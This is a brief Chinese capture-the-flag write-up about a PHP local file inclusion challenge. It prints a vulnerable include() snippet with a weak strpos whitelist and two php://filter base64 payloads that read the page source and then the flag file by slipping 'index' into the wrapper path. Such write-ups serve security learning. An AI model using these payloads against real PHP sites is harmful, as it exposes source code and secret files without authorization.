打开burp 开始抓包
这里说是文件与文件包含有关
传入参数woofers或者meowers会有一个文件包含
改一下这个参数试试
这里提示包含文件失败
回显东西的题应该都和文件包含多多少少有关
所以直接试一试传入flag看看能不能把flag包含出来
通过报错信息可以看出,category参数会与.php拼接然后进行文件包含。
这里回显定制信息,说明被过滤,应该是白名单
我们通过伪协议来获取index源代码试试
?category=php://filter/read=convert.base64-encode/resource=index
其中有这一部分
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos函数只要传的参数里面有这几个就行
我们传入参数
?category=php://filter/read=convert.base64-encode/index/resource=flag